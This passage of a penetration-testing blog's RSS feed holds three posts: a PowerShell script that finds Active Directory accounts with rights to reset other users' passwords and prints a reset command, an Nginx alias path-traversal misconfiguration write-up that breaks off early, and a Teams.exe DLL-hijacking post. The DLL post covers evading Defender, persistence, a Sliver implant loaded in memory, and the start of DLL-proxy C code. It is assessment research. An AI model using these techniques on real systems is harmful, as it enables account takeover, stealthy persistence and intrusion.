<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">        $allUsers</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> Get-ADUser</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Server </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Server</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Filter </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Filter</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">    Write-Output</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "[+] Run search on </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">$</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$allUsers.count</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">)</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> users at </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">$</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">Get-Date</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">)</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$allUsers</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> ForEach-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">        $targetUser</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#005CC5;--shiki-dark:#ABB2BF"> $_</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">        # Get ACL to reset password right</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        try</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">            $aclResetPassword</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ((</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">Get-Acl</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "AD:\</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">$</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$targetUser.DistinguishedName</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">)</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> Select-object</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> Access).access</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span><span style="--shiki-light:#005CC5;--shiki-dark:#ABB2BF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">.ObjectType</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -eq</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $RestPasswordRight</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -or</span><span style="--shiki-light:#005CC5;--shiki-dark:#ABB2BF"> $_</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">.InheritedObjectType</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -eq</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $ResetPasswordRight</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -or</span><span style="--shiki-light:#005CC5;--shiki-dark:#ABB2BF"> $_</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">.ObjectType</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -eq</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $GenericAllRight</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">})</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        }</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        catch</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> { }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$objects</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> ForEach-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">            $object</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#005CC5;--shiki-dark:#ABB2BF"> $_</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">            $acl</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $aclResetPassword</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span><span style="--shiki-light:#005CC5;--shiki-dark:#ABB2BF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">.IdentityReference</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -like</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "*</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">$</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$object.SamAccountName</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">)</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -or</span><span style="--shiki-light:#005CC5;--shiki-dark:#ABB2BF"> $_</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">.IdentityReference</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -eq</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $object.SID</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">}</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">            if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$acl</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -ne</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> $null</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">                $properties</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">                    From</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $object.samAccountName</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">                    PasswordResetRight</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> $true</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">                    User</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $targetUser.samAccountName</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">                    UserIsEnabled</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $targetUser.Enabled</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">                }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">                $obj</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> New-Object</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">TypeName psobject </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Property </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$properties</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">                $ResultRestPasswordRight</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> +=</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $obj</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">    Write-Output</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "[+] Finished search on </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">$</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$allUsers.count</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">)</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> users at </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">$</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">Get-Date</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">)</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$OnlyResults</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -eq</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> $True</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        return</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$ResultRestPasswordRight</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">).User </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> Sort-Object</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Unique</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$ResultRestPasswordRight.Length</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -ge</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">        Write-Output</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "’r’n[+] CMD : Set-ADAccountPassword -Server </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">$</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$Server</span><span style="--shiki-light:#032F62;--shiki-dark:#C678DD">)</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> -identity User -Reset -NewPassword (ConvertTo-SecureString -AsPlainText 'Password' -Force)"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    return</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $ResultRestPasswordRight</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h2>Examples</h2>
<p>Considering an ’ITSupport’ user that has the right to reset the password of the user ’John Doe’.</p>
<figure><figcaption>itsupport-run-script</figcaption></figure>
<p>The function accepts multiple users as input. A test can be run with the user ’Administrator.</p>
<figure><figcaption>administrateur-run-script</figcaption></figure>
<p>Another situation is when a user belongs to group that belongs itself to another group. Let’s take the user ’Arnold Groot’ which belongs to the group ’IT Admin’. The group ’IT Admin’ belongs to the group ’Domain Admins’.</p>
<figure><figcaption>groota-run-script</figcaption></figure>
]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/powershell-header.png" type="image/png"/>
    </item>
    <item>
      <title>Nginx off-by-slash Vulnerability</title>
      <link>https://blog.hophouse.fr/posts/Nginx-Off-By-Slash.html</link>
      <guid>https://blog.hophouse.fr/posts/Nginx-Off-By-Slash.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Nginx off-by-slash Vulnerability</source>
      <description>Introduction While reading some content about Web vulnerability, I came across a presentation of Orange Tsai at Black Hat : Breaking Parser Logic Take Your Path Normalization Of...</description>
      <category>Research</category>
      <pubDate>Thu, 04 Aug 2022 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<h2>Introduction</h2>
<p>While reading some content about Web vulnerability, I came across a presentation of Orange Tsai at Black Hat : <a href="https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf" target="_blank" rel="noopener noreferrer">Breaking Parser Logic Take Your Path Normalization Off And Pop 0days out</a>.</p>
<p>From page 17, the Nginx off-by-slash vulnerability is discussed.</p>
<h2>Details</h2>
<p>The vulnerability enters in the category of the misconfigurations, and it exploits a missing slash (<code>/</code>) in the <code>alias</code> directive to read files outside of the specified location.</p>
<p>The <code>alias</code> directive defines a replacement to access files. It is used like so :</p>
<div class="language-nginx line-numbers-mode" data-highlighter="shiki" data-ext="nginx" data-title="nginx" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">location</span><span style="--shiki-light:#6F42C1;--shiki-dark:#ABB2BF"> /static/ </span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">{</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    alias </span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">/var/www/static/;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The application of this directive to a request will allow someone to request a resource within the <code>static</code> path.
For example, for a website call <code>example.com</code>, the <code>style.css</code> resources located on disk at <code>/var/www/static/style.css</code> could be reached like so : <code>http://example.com/static/style.css</code>.
To achieve the same goal, the <code>root</code> directive could have been used. However, the <code>root</code> directive appends the requested location to the given path where the <code>alias</code> directive replace it. The following configuration would have been used :</p>
<div class="language-nginx line-numbers-mode" data-highlighter="shiki" data-ext="nginx" data-title="nginx" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">location</span><span style="--shiki-light:#6F42C1;--shiki-dark:#ABB2BF"> /static/ </span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">{</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    root </span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">/var/www/;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>So we have the following behaviour :</p>
<p>| Directive | Requested URL | Nginx construction |
|</p>
]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/NGINX.png" type="image/png"/>
    </item>
    <item>
      <title>Teams.exe DLL Hijacking Proxying in Golang with ColorAdapterClient.dll</title>
      <link>https://blog.hophouse.fr/posts/Teams-DLL-Hijacking-Proxyfiyng-in-Golang.html</link>
      <guid>https://blog.hophouse.fr/posts/Teams-DLL-Hijacking-Proxyfiyng-in-Golang.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Teams.exe DLL Hijacking Proxying in Golang with ColorAdapterClient.dll</source>
      <description>It has been 4 years since I did some research about DLL Hijacking. I used procmon.exe to identifiy missing DLLs on windows system. I quickly found few of them, including in Team...</description>
      <category>Exploit</category>
      <pubDate>Mon, 18 Dec 2023 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<p>It has been 4 years since I did some research about DLL Hijacking.
I used <code>procmon.exe</code> to identifiy missing DLLs on windows system.
I quickly found few of them, including in <code>Teams.exe</code>. Recently, I looked again into it and found that some of them are still present.
The <code>ColorAdapterClient.dll</code> is one of these sweet spots.
If <code>Teams.exe</code> is configured to run at startup, the code is running once the machine is up, there is no need for the user to unlock is session.</p>
<p>From my tests with <code>Teams.exe</code> and Microsoft Defender, it seems that this binary has some pass rights and is less monitored.
I was able to use malicious code that are flagged from other processes but not once injected into this process.</p>
<p>The idea was to create a DLL in Golang that would be ran transparently by <code>Teams.exe</code>.
During an assessment, this vector could be used to keep persistence or gain code execution through a dropper that would put a malicious DLL along the <code>Teams.exe</code> binary.</p>
<p>In order to be as stealthy as possible, I wanted to create some tools that would automate the process of DLL Proxying.
DLL Proxying is the idea to be in man-in-the-middle between the software program loading a DLL and the targeted DLL.
The first tool I created was : <a href="https://github.com/HopHouse/SharpDLLProxy/" target="_blank" rel="noopener noreferrer">https://github.com/HopHouse/SharpDLLProxy/</a>.
It allows to create a <code>.c</code> file that, once compiled, could be used to exploit a DLL hijacking vulnerability and proxy calls to the real DLL on system.</p>
<p>By creating a DLL that will "proxy" the calls to a DLL which exist, the process is almost transparent for the targeted software program.
Furthermore, some software programs would reject a DLL if it does not export all the function it expects.</p>
<p>I wanted to execute a payload when the DLL is "attached" to a process.
However, in Golang, such thing is not possible because there is no entry point to call the DLL when it is attached.
As far as I read, it is linked to the Golang runtime which is initialised only if an exported function is explicitly called.</p>
<p>A trick exist by using <code>C</code> code to find this Main DLL function necessary to execute code when it is attached.
This article will dive into it and create a DLL code that could be used to exploit a DLL hijacking vulnerability in <code>Teams.exe</code>.</p>
<p>For this test, I used <a href="https://github.com/BishopFox/sliver" target="_blank" rel="noopener noreferrer">Sliver</a> to generate an implant.
The generated malicious DLL downloads the implant code from the server, and execute it in memory.</p>
<h2>Find the DLL hijacking issue</h2>
<p>Using <code>procmon</code>, it was easy to spot some DLL hijacking possibility.</p>
<figure><figcaption>Teams-hijacking-DLL</figcaption></figure>
<p>The next part of  the article is focused on the <code>ColorAdapterClient.dll</code> but it could be used on any missing DLL.</p>
<h2>Retrieve <code>ColorAdapterClient.dll</code> and create a <code>.def</code> file</h2>
<p>On my system I found the DLL at <code>C:\Windows\System32\coloradapterclient.dll</code>.</p>
<p>Using <code>CFF Explorer</code>, it is possible to identify exported function of the DLL.</p>
<figure><figcaption>ColorAdapterClient DLL export</figcaption></figure>
<h2>Create a DLL proxying code</h2>
<p>I know 2 methods to do easy DLL proxying : <code>pragma comment</code> and <code>.def</code> files.</p>
<h3>Pragma comment</h3>
<p>The first is using <code>pragma comment</code> and was implemented in  <a href="https://github.com/HopHouse/SharpDLLProxy/" target="_blank" rel="noopener noreferrer">https://github.com/HopHouse/SharpDLLProxy/</a>.
For this DLL, it would produce :</p>
<figure><figcaption>SharpDLLProxy Output</figcaption></figure>
<p>The following code is produced :</p>
<div class="language-c line-numbers-mode" data-highlighter="shiki" data-ext="c" data-title="c" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">// DLL Proxy</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> &lt;windows.h&gt;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> &lt;Shellapi.h&gt;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> &lt;tchar.h&gt;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#pragma</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> comment</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66">linker</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"/export:ModernColorGetGDILutFromHDC=C:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Windows</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">System32</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">coloradapterclient.ModernColorGetGDILutFromHDC,@1"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#pragma</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> comment</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66">linker</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"/export:ModernColorSetGDILut=C:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Windows</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">System32</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\\</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">coloradapterclient.ModernColorSetGDILut,@2"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
